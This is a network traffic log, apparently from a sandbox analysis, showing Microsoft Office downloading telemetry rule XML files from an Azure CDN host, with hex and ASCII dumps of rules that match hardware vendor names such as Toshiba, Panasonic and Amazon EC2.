2024-11-18 03:41:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:18 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: fdac4f62-e01e-0085-71ab-36c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034118Z-16547b76f7f2b5qzhC1DFWeag400000003g00000000061zt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:19 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:18 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:19 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 7f617d81-b01e-0021-0b30-36cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034119Z-1866b5c5fbb2t6txhC1DFWa2qc000000058000000000aht8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:19 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:18 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:19 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: a9c4265b-101e-000b-57af-365e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034119Z-1866b5c5fbbg9tvxhC1DFWy9mg0000000150000000003uqz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:19 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:18 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:19 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:18 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 8a4e7403-501e-0047-0c09-37ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034118Z-16547b76f7fbkfmzhC1DFWm9tw00000004w000000000be3s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:19 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:18 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:19 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:18 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: dd4d8867-801e-0083-7a9b-38f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034118Z-16547b76f7fd77jrhC1DFWfwq000000001z0000000006a5p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:19 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:19 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:19 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:19 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 45d643d4-001e-0066-6189-38561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034119Z-16547b76f7fkz9l7hC1DFW35uc000000029g00000000dh2f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 03:41:19 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:19 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:19 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:19 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 7a7e882b-d01e-002b-49aa-3625fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034119Z-16547b76f7f6892shC1DFWawd0000000025000000000kybg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 03:41:19 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:19 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:19 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: fb571e6e-701e-005c-5d91-37bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034119Z-164f84587bfh9nvdhC1DFWmce0000000032000000000r2u3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:19 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:19 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:19 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: a8264c91-f01e-0052-7a79-369224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034119Z-164f84587bfsqsthhC1DFWh63000000004ag00000000d78s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:19 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:19 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:19 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 8417a631-c01e-00a2-12c6-372327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034119Z-16547b76f7fwggrphC1DFW2a8s0000000470000000002861 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:19 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:20 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:20 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:20 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: de79bc98-401e-0064-1e9b-3754af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034120Z-16547b76f7fr5rfnhC1DFW0am400000002sg000000006g7p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:20 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:20 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:20 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:20 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 4e6a8ad7-601e-000d-69a9-362618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034120Z-1866b5c5fbbxjblthC1DFW6b48000000037g000000007wd0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:20 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
